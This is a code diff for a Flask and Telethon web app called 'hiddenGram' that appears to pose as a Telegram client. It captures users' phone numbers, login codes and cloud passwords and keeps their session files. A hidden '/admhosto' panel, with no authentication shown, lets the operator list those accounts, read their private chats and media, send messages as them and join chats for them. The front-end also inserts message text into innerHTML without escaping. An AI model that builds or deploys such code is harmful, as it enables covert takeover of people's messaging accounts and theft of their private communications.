+ </div>
262
  </div>
263
+ <div class="no-chat-selected" id="noChatSelected">
264
+ Select a chat to start messaging
265
  </div>
266
+ <div class="messages-container" id="messagesContainer" style="display:none;"></div>
267
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
268
+ <textarea id="messageInput" placeholder="Message" rows="1"></textarea>
269
+ <button onclick="sendMessage()">➤</button>
270
  </div>
271
  </div>
272
  </div>
273
 
274
  <script>
275
  let currentChatId = null;
 
 
 
 
 
 
 
 
 
 
 
276
 
277
  function adjustTextareaHeight() {
278
  const textarea = document.getElementById('messageInput');
279
  textarea.style.height = 'auto';
280
+ textarea.style.height = Math.min(textarea.scrollHeight, 120) + 'px';
281
  }
 
282
  document.getElementById('messageInput').addEventListener('input', adjustTextareaHeight);
283
 
284
  async function fetchChats() {
 
289
  if (result.success && result.chats) {
290
  result.chats.forEach(chat => {
291
  const chatItem = document.createElement('div');
292
+ chatItem.className = 'chat-item';
293
  if (currentChatId === chat.id) {
294
  chatItem.classList.add('active');
295
  }
296
  chatItem.dataset.id = chat.id;
297
+ chatItem.onclick = () => selectChat(chat.id);
 
298
  chatItem.innerHTML = `
299
+ <div class="avatar-placeholder">${chat.avatar_initial}</div>
300
+ <div class="chat-info">
301
  <h3>${chat.title}</h3>
302
+ <p>${chat.type}</p>
303
  </div>
304
  `;
 
305
  chatListDiv.appendChild(chatItem);
306
  });
307
  } else {
308
+ chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
309
  }
310
  }
311
 
312
+ async function selectChat(chatId) {
313
  currentChatId = chatId;
 
 
314
 
315
+ document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
316
+ document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
317
+
318
+ const selectedChat = document.querySelector(`.chat-item[data-id="${chatId}"]`);
319
+ const chatTitle = selectedChat.querySelector('h3').textContent;
 
 
320
 
321
  document.getElementById('noChatSelected').style.display = 'none';
322
+ document.getElementById('chatTitle').textContent = chatTitle;
323
+ document.getElementById('chatTitle').style.display = 'block';
324
  document.getElementById('messagesContainer').style.display = 'flex';
325
  document.getElementById('chatInputArea').style.display = 'flex';
326
 
 
 
 
327
  await fetchMessages(chatId);
328
  }
329
 
330
  async function fetchMessages(chatId) {
331
  const messagesContainer = document.getElementById('messagesContainer');
332
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading...</p>';
 
333
 
334
  const response = await fetch(`/api/chat_messages/${chatId}`);
335
  const result = await response.json();
336
  messagesContainer.innerHTML = '';
337
  if (result.success && result.messages) {
338
+ result.messages.reverse().forEach(msg => {
 
339
  const messageItem = document.createElement('div');
340
+ messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
 
 
 
 
 
 
341
 
342
+ let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
343
+ let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
344
+ let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
345
+ let metaHtml = `<div class="message-meta">${msg.date}</div>`;
346
+ let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
347
+
348
+ messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
349
+ messagesContainer.prepend(messageItem);
 
 
 
 
 
350
  });
351
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
 
352
  } else {
353
+ messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
354
  }
355
  }
356
+
357
+ async function newMessage() {
358
+ const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
359
+ if (!recipient) return;
360
+ const message = prompt("Enter your message:");
361
+ if (!message || !message.trim()) return;
362
 
363
+ const response = await fetch('/api/send_message', {
364
+ method: 'POST',
365
+ headers: { 'Content-Type': 'application/json' },
366
+ body: JSON.stringify({ chat_id: recipient, message: message })
367
+ });
368
+ const result = await response.json();
369
+ alert(result.message);
370
+ if (result.success) {
371
+ fetchChats();
372
  }
373
+ }
374
+
375
+ async function sendMessage() {
376
+ if (!currentChatId) return;
377
+ const messageInput = document.getElementById('messageInput');
378
+ const message = messageInput.value;
379
+ if (!message.trim()) return;
380
+
381
+ messageInput.value = '';
382
+ adjustTextareaHeight();
383
 
384
  const response = await fetch('/api/send_message', {
385
  method: 'POST',
 
388
  });
389
  const result = await response.json();
390
  if (result.success) {
391
+ await fetchMessages(currentChatId);
 
 
392
  } else {
393
  alert('Failed to send message: ' + result.message);
394
+ messageInput.value = message;
395
+ adjustTextareaHeight();
396
  }
397
  }
398
 
 
402
  alert('Please enter a channel/group username or invite link.');
403
  return;
404
  }
 
405
  const response = await fetch('/api/join_chat', {
406
  method: 'POST',
407
  headers: { 'Content-Type': 'application/json' },
 
411
  alert(result.message);
412
  if (result.success) {
413
  document.getElementById('joinChatIdentifier').value = '';
414
+ await fetchChats();
415
  }
416
  }
417
 
418
+ async function logout(switchToNew = false) {
419
+ const confirmation = switchToNew ? true : confirm('Are you sure you want to log out?');
420
+ if (confirmation) {
421
+ await fetch('/api/logout', { method: 'POST' });
422
+ window.location.href = '/';
 
 
 
 
423
  }
424
  }
425
+
426
+ document.getElementById('messageInput').addEventListener('keydown', (e) => {
427
+ if (e.key === 'Enter' && !e.shiftKey) {
428
+ e.preventDefault();
429
+ sendMessage();
430
+ }
431
+ });
432
 
433
+ fetchChats();
434
  </script>
435
  </body>
436
  </html>
 
444
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
445
  <title>hiddenGram - Admin Panel</title>
446
  <style>
447
+ body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 20px; }
448
+ .container { max-width: 900px; margin: auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
449
+ h1, h2 { text-align: center; color: #0088cc; margin-bottom: 25px; }
450
+ table { width: 100%; border-collapse: collapse; margin-top: 20px; }
451
+ th, td { padding: 12px; border: 1px solid #ddd; text-align: left; }
452
+ th { background: #f7f7f7; color: #555; font-weight: 500; }
453
+ tr:nth-child(even) { background: #f9f9f9; }
454
+ a { color: #0088cc; text-decoration: none; transition: color 0.3s ease; }
455
+ a:hover { text-decoration: underline; }
456
+ .back-button { margin-top: 30px; text-align: center; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
457
  </style>
458
  </head>
459
  <body>
 
492
  <head>
493
  <meta charset="UTF-8">
494
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
495
+ <title>Manage: {{ user.username or user.phone }}</title>
496
  <style>
497
+ body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 20px; }
498
+ .container { max-width: 1200px; margin: auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
499
+ h1, h2 { text-align: center; color: #0088cc; margin-bottom: 20px; font-weight: 500; }
500
+ .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; }
501
+ .split-panel { display: flex; gap: 25px; margin-top: 25px; }
502
+ .split-panel > div { flex: 1; background: #f9f9f9; padding: 20px; border-radius: 8px; border: 1px solid #eee; }
503
+ h2 { margin-top: 0; }
504
+ input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #ddd; border-radius: 5px; background: #fff; font-size: 1em; }
505
+ textarea { resize: vertical; min-height: 80px; }
506
+ button { background: #0088cc; color: #fff; padding: 12px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 10px; width: 100%; transition: background 0.3s ease; }
507
+ button:hover { background: #0077b3; }
508
+ .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; border-radius: 5px; }
509
+ .chat-item { padding: 12px 15px; border-bottom: 1px solid #eee; cursor: pointer; transition: background 0.2s ease; }
510
+ .chat-item:hover, .chat-item.active { background: #e9ecef; }
511
+ .chat-item:last-child { border-bottom: none; }
512
+ .chat-item h3 { margin: 0; font-size: 1.05em; color: #111; font-weight: 500; }
513
+ .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }
514
+ .message-viewer { margin-top: 25px; background: #f9f9f9; padding: 20px; border-radius: 8px; border: 1px solid #eee; }
515
+ .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #ddd; border-radius: 5px; background: #fff; margin-top: 15px; display: flex; flex-direction: column-reverse; }
516
+ .message-item { max-width: 80%; padding: 8px 12px; border-radius: 12px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; }
517
+ .message-item.sent { background: #dcf8c6; align-self: flex-end; }
518
+ .message-item.received { background: #f1f0f0; align-self: flex-start; }
519
+ .message-sender { font-weight: bold; color: #0088cc; margin-bottom: 4px; display: block; font-size: 0.9em; }
520
+ .message-text { font-size: 0.9em; }
521
+ .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
522
+ .media-link { display: block; margin-top: 5px; color: #0088cc; text-decoration: none; }
523
+ .back-button { margin-top: 30px; text-align: center; }
524
+ .clear-chat-selection { text-align: center; margin-top: 15px; }
525
+ .clear-chat-selection button { background: #6c757d; color: #fff; width: auto; padding: 8px 15px; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
526
  </style>
527
  </head>
528
  <body>
529
  <div class="container">
530
+ <h1>Manage Account: {{ user.username or user.phone }}</h1>
531
+ <div class="user-info">ID: {{ user.id }} | Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div>
532
 
533
  <div class="split-panel">
534
  <div class="action-panel">
535
  <h2>Send Message</h2>
536
+ <input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
537
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
538
  <button onclick="sendMessage({{ user.id }})">Send Message</button>
539
 
540
  <h2 style="margin-top: 30px;">Join Chat</h2>
541
+ <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
542
  <button onclick="joinChat({{ user.id }})">Join Chat</button>
543
  </div>
544
 
545
  <div class="chat-list-panel">
546
  <h2>Chats</h2>
547
  <div class="chat-list" id="chatList">
548
+ {% for chat in chats %}
549
+ <div class="chat-item" data-id="{{ chat.id }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}')">
550
+ <h3>{{ chat.title }}</h3>
551
+ <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
552
+ </div>
 
 
553
  {% else %}
554
  <p style="padding: 15px; text-align: center;">No chats found.</p>
555
+ {% endfor %}
 
 
 
556
  </div>
557
+ <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
558
  </div>
559
  </div>
560
 
561
  <div class="message-viewer" id="messageViewer" style="display:none;">
562
  <h2 id="messagesChatTitle"></h2>
563
+ <div class="messages-container" id="messagesContainer"></div>
 
 
564
  </div>
565
 
566
+ <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
 
 
567
  </div>
 
568
  <script>
 
 
 
569
  function clearChatSelection() {
 
570
  document.getElementById('messageViewer').style.display = 'none';
571
+ document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
 
 
572
  }
573
 
574
+ async function selectChat(userId, chatId, chatTitle) {
575
+ document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
 
 
 
 
576
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
577
 
578
  document.getElementById('messageViewer').style.display = 'block';
579
+ document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
580
  const messagesContainer = document.getElementById('messagesContainer');
581
+ messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading...</p>';
 
582
 
583
  const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages`);
584
  const result = await response.json();
585
  messagesContainer.innerHTML = '';
586
  if (result.success && result.messages) {
587
+ result.messages.reverse().forEach(msg => {
 
588
  const messageItem = document.createElement('div');
589
+ messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
590
+ let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
591
+ let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
592
+ messageItem.innerHTML = `${senderInfo}<div class="message-text">${msg.text || ''}</div>${mediaHtml}<div class="message-meta">${msg.date}</div>`;
593
+ messagesContainer.prepend(messageItem);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
594
  });
 
595
  messagesContainer.scrollTop = messagesContainer.scrollHeight;
596
  } else {
597
+ messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
598
  }
599
  }
600
 
601
  async function sendMessage(userId) {
602
  const chatId = document.getElementById('sendMessageRecipient').value;
603
  const message = document.getElementById('sendMessageContent').value;
604
+ if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
 
 
 
605
  const response = await fetch(`/admhosto/send_message/${userId}`, {
606
  method: 'POST',
607
  headers: { 'Content-Type': 'application/json' },
 
612
  if (result.success) {
613
  document.getElementById('sendMessageRecipient').value = '';
614
  document.getElementById('sendMessageContent').value = '';
 
 
 
615
  }
616
  }
617
 
618
  async function joinChat(userId) {
619
  const chatIdentifier = document.getElementById('joinChatIdentifier').value;
620
+ if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
 
 
 
621
  const response = await fetch(`/admhosto/join_chat/${userId}`, {
622
  method: 'POST',
623
  headers: { 'Content-Type': 'application/json' },
 
625
  });
626
  const result = await response.json();
627
  alert(result.message);
628
+ if (result.success) { location.reload(); }
 
 
 
629
  }
630
  </script>
631
  </body>
 
642
  def api_login():
643
  data = request.json
644
  phone = data.get('phone')
 
 
 
645
  step = data.get('step')
646
 
647
  if not phone:
 
650
  session_hash = hashlib.md5(phone.encode()).hexdigest()
651
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
652
 
653
+ session['phone'] = phone
654
+ session['session_file'] = session_file_path
655
+
656
  async def _login_async():
657
+ client = TelegramClient(session['session_file'], API_ID, API_HASH)
658
  result = {}
659
  try:
660
  await client.connect()
 
664
  with sqlite3.connect(DB_PATH) as conn:
665
  c = conn.cursor()
666
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
667
+ (str(me.id), me.username or '', session['phone'], session['session_file']))
668
  conn.commit()
669
+ user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
670
+ session['user_id'] = user_db_id
671
+ result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
672
  else:
673
+ sent_code = await client.send_code_request(session['phone'])
674
+ session['phone_code_hash'] = sent_code.phone_code_hash
675
+ result = {'success': True, 'message': 'Code sent.', 'phone_code_hash': sent_code.phone_code_hash}
676
  elif step == 'code':
677
+ code = data.get('code')
678
+ phone_code_hash = session.get('phone_code_hash')
679
  if not phone_code_hash:
680
+ raise ValueError('Session expired, please try again.')
681
 
682
  try:
683
+ me = await client.sign_in(phone=session['phone'], code=code, phone_code_hash=phone_code_hash)
684
  with sqlite3.connect(DB_PATH) as conn:
685
  c = conn.cursor()
686
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
687
+ (str(me.id), me.username or '', session['phone'], session['session_file']))
688
  conn.commit()
689
+ user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
690
+ session['user_id'] = user_db_id
691
+ result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
692
  except SessionPasswordNeededError:
693
  result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
694
+
 
695
  elif step == 'password':
696
+ password = data.get('password')
697
+ me = await client.sign_in(password=password)
698
+ with sqlite3.connect(DB_PATH) as conn:
699
+ c = conn.cursor()
700
+ c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
701
+ (str(me.id), me.username or '', session['phone'], session['session_file']))
702
+ conn.commit()
703
+ user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
704
+ session['user_id'] = user_db_id
705
+ result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
706
+
707
  else:
708
  result = {'success': False, 'message': 'Invalid step.'}
709
  except Exception as e:
710
+ result = {'success': False, 'message': f'An error occurred: {e}'}
711
  finally:
712
+ if client.is_connected():
713
  await client.disconnect()
714
  return result
715
 
 
717
 
718
  @app.route('/api/logout', methods=['POST'])
719
  def api_logout():
720
+ user_id = session.get('user_id')
721
+ if user_id:
722
  async def _logout_async():
723
  client, error = await get_user_client(user_id)
724
+ if error: return
 
725
  try:
726
+ if client.is_connected():
727
+ await client.log_out()
 
 
728
  finally:
729
  if client and client.is_connected():
730
  await client.disconnect()
731
+ asyncio.run(_logout_async())
732
+
733
+ session.clear()
734
+ return jsonify({'success': True, 'message': 'Logged out.'})
 
 
735
 
736
  @app.route('/app')
737
  def hidden_gram_app():
 
747
 
748
  async def _get_chats_async():
749
  client, error = await get_user_client(user_id)
750
+ if error: return None, error
 
751
 
752
  chats_info = []
753
  try:
754
  async for dialog in client.iter_dialogs():
755
+ title = dialog.title
756
  chat_type = 'User'
757
  participants = None
758
+
759
+ if isinstance(dialog.entity, User):
760
+ chat_type = 'User'
761
+ full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
762
+ title = full_name
763
+ if dialog.entity.username:
764
+ title += f" (@{dialog.entity.username})"
765
+ elif isinstance(dialog.entity, Channel):
766
  chat_type = 'Channel'
767
  if hasattr(dialog.entity, 'participants_count'):
768
  participants = dialog.entity.participants_count
 
770
  chat_type = 'Group'
771
  if hasattr(dialog.entity, 'participants_count'):
772
  participants = dialog.entity.participants_count
773
+
774
+ initial = title[0].upper() if title else '?'
775
+
776
  chats_info.append({
777
  'id': dialog.id,
778
+ 'title': title,
779
  'type': chat_type,
780
+ 'participants': participants,
781
+ 'avatar_initial': initial
782
  })
783
  except Exception as e:
784
  return None, str(e)
 
791
  if error:
792
  return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500
793
 
794
+ return jsonify({'success': True, 'chats': sorted(chats, key=lambda x: x['title'])})
795
 
796
  @app.route('/api/chat_messages/<int:peer_id>')
797
  def api_get_chat_messages(peer_id):
798
  user_id = session.get('user_id')
799
+ if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
800
 
801
  async def _get_messages_async():
802
  client, error = await get_user_client(user_id)
803
+ if error: return None, error
 
804
 
805
  messages = []
806
  try:
807
  entity = await client.get_entity(peer_id)
 
808
  async for message in client.iter_messages(entity, limit=50, reverse=False):
809
  msg_data = {
810
  'text': message.text,
811
+ 'date': message.date.strftime("%b %d, %H:%M"),
812
+ 'is_sent': message.out,
813
+ 'sender_name': 'Unknown'
814
  }
 
815
  if message.sender:
816
  if isinstance(message.sender, User):
817
+ msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
818
+ elif hasattr(message.sender, 'title'):
 
 
 
 
 
 
 
819
  msg_data['sender_name'] = message.sender.title
 
 
 
 
820
 
821
  if message.media:
822
  try:
 
824
  if file_info:
825
  file_path = Path(file_info)
826
  msg_data['file_name'] = file_path.name
827
+ file_size_mb = os.path.getsize(file_path) / (1024*1024)
828
+ msg_data['file_size'] = f"{file_size_mb:.2f} MB" if file_size_mb >= 0.1 else f"{os.path.getsize(file_path)/1024:.1f} KB"
829
+ except Exception:
830
+ msg_data['file_name'] = "Download failed"
831
  messages.append(msg_data)
832
  except Exception as e:
833
  return None, str(e)
 
845
  @app.route('/api/send_message', methods=['POST'])
846
  def api_send_message():
847
  user_id = session.get('user_id')
848
+ if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
849
 
850
  data = request.json
851
+ chat_id = data.get('chat_id')
852
  message_content = data.get('message')
853
 
854
  async def _send_message_async():
855
  client, error = await get_user_client(user_id)
856
+ if error: return {'success': False, 'message': error}
 
857
  try:
858
+ target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
859
+ await client.send_message(target_entity, message_content)
860
+ return {'success': True, 'message': 'Message sent.'}
 
 
 
861
  except Exception as e:
862
  return {'success': False, 'message': str(e)}
863
  finally:
864
+ if client and client.is_connected(): await client.disconnect()
 
865
 
866
+ return jsonify(asyncio.run(_send_message_async()))
 
867
 
868
  @app.route('/api/join_chat', methods=['POST'])
869
  def api_join_chat():
870
  user_id = session.get('user_id')
871
+ if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
872
 
873
  data = request.json
874
  chat_identifier = data.get('chat_identifier')
875
 
876
  async def _join_chat_async():
877
  client, error = await get_user_client(user_id)
878
+ if error: return {'success': False, 'message': error}
 
879
  try:
880
  if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
881
+ invite_hash = chat_identifier.split('/')[-1].replace('+', '')
 
 
882
  await client(ImportChatInviteRequest(invite_hash))
883
  else:
 
 
884
  await client(JoinChannelRequest(chat_identifier))
885
+ return {'success': True, 'message': f'Successfully joined {chat_identifier}.'}
886
  except FloodWaitError as e:
887
+ return {'success': False, 'message': f'Please try again in {e.seconds}s.'}
888
+ except (UserNotParticipantError, ValueError):
889
+ return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
890
  except Exception as e:
891
+ return {'success': False, 'message': f'Error joining chat: {e}'}
892
  finally:
893
+ if client and client.is_connected(): await client.disconnect()
 
894
 
895
+ return jsonify(asyncio.run(_join_chat_async()))
 
896
 
897
+ @app.route('/download/<path:filename>')
898
  def download_file(filename):
899
+ return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True)
900
 
901
  @app.route('/admhosto')
902
  def admhosto_index():
903
  with sqlite3.connect(DB_PATH) as conn:
904
+ users = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users').fetchall()
 
 
905
  return render_template_string(ADMHOSTO_TEMPLATE, users=users)
906
 
907
  @app.route('/admhosto/user/<int:user_id>/manage')
908
  def admhosto_manage_user_account(user_id):
909
  with sqlite3.connect(DB_PATH) as conn:
910
+ user_data = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users WHERE id = ?', (user_id,)).fetchone()
911
+ if not user_data: return "User not found", 404
912
+ user_dict = {'id': user_data[0], 'telegram_id': user_data[1], 'username': user_data[2], 'phone': user_data[3]}
 
 
 
 
 
 
 
 
 
913
 
914
  async def _get_chats_async():
915
  client, error = await get_user_client(user_id)
916
+ if error: return None, error
 
 
917
  chats_info = []
918
  try:
919
  async for dialog in client.iter_dialogs():
920
+ chat_type = 'Other'
921
+ if isinstance(dialog.entity, (Channel, Chat)): chat_type = 'Channel/Group'
922
+ elif isinstance(dialog.entity, User): chat_type = 'User'
923
+ chats_info.append({'id': dialog.id, 'title': dialog.title, 'type': chat_type, 'participants': getattr(dialog.entity, 'participants_count', None)})
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
924
  except Exception as e:
925
  return None, str(e)
926
  finally:
927
+ if client and client.is_connected(): await client.disconnect()
 
928
  return chats_info, None
929
 
930
  chats, error = asyncio.run(_get_chats_async())
931
+ if error: return f"Failed to load chats: {error}", 500
932
+ return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
 
 
933
 
934
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
935
  def admhosto_get_chat_messages(user_id, peer_id):
936
  async def _get_messages_async():
937
  client, error = await get_user_client(user_id)
938
+ if error: return None, error
 
 
939
  messages = []
940
  try:
941
  entity = await client.get_entity(peer_id)
 
942
  async for message in client.iter_messages(entity, limit=50, reverse=False):
943
+ msg_data = {'text': message.text, 'date': message.date.strftime("%b %d, %H:%M"), 'is_sent': message.out, 'sender_name': 'Unknown'}
 
 
 
 
 
 
944
  if message.sender:
945
+ msg_data['sender_name'] = getattr(message.sender, 'first_name', '') or getattr(message.sender, 'username', 'User')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
946
  if message.media:
947
+ file_info = await client.download_media(message, file=DOWNLOAD_DIR)
948
+ if file_info:
949
+ file_path = Path(file_info)
950
+ msg_data['file_name'] = file_path.name
951
+ msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB"
 
 
 
 
952
  messages.append(msg_data)
953
  except Exception as e:
954
  return None, str(e)
955
  finally:
956
+ if client and client.is_connected(): await client.disconnect()
 
957
  return messages, None
958
 
959
  messages, error = asyncio.run(_get_messages_async())
960
+ if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
 
 
961
  return jsonify({'success': True, 'messages': messages})
962
 
963
  @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
964
  def admhosto_send_message(user_id):
965
  data = request.json
966
+ chat_id = data.get('chat_id')
967
  message_content = data.get('message')
 
968
  async def _send_message_async():
969
  client, error = await get_user_client(user_id)
970
+ if error: return {'success': False, 'message': error}
 
971
  try:
972
+ target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
973
+ await client.send_message(target_entity, message_content)
974
+ return {'success': True, 'message': 'Message sent.'}
 
 
 
975
  except Exception as e:
976
  return {'success': False, 'message': str(e)}
977
  finally:
978
+ if client and client.is_connected(): await client.disconnect()
979
+ return jsonify(asyncio.run(_send_message_async()))
 
 
 
980
 
981
  @app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
982
  def admhosto_join_chat(user_id):
983
  data = request.json
984
  chat_identifier = data.get('chat_identifier')
 
985
  async def _join_chat_async():
986
  client, error = await get_user_client(user_id)
987
+ if error: return {'success': False, 'message': error}
 
988
  try:
989
  if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
990
+ invite_hash = chat_identifier.split('/')[-1].replace('+', '')
 
 
991
  await client(ImportChatInviteRequest(invite_hash))
992
  else:
 
 
993
  await client(JoinChannelRequest(chat_identifier))
994
+ return {'success': True, 'message': 'Successfully joined.'}
 
 
 
 
995
  except Exception as e:
996
+ return {'success': False, 'message': f'Error joining: {e}'}
997
  finally:
998
+ if client and client.is_connected(): await client.disconnect()
999
+ return jsonify(asyncio.run(_join_chat_async()))
 
 
 
1000
 
1001
  if __name__ == '__main__':
1002
  init_db()
1003
+ app.run(host=HOST, port=PORT, debug=False)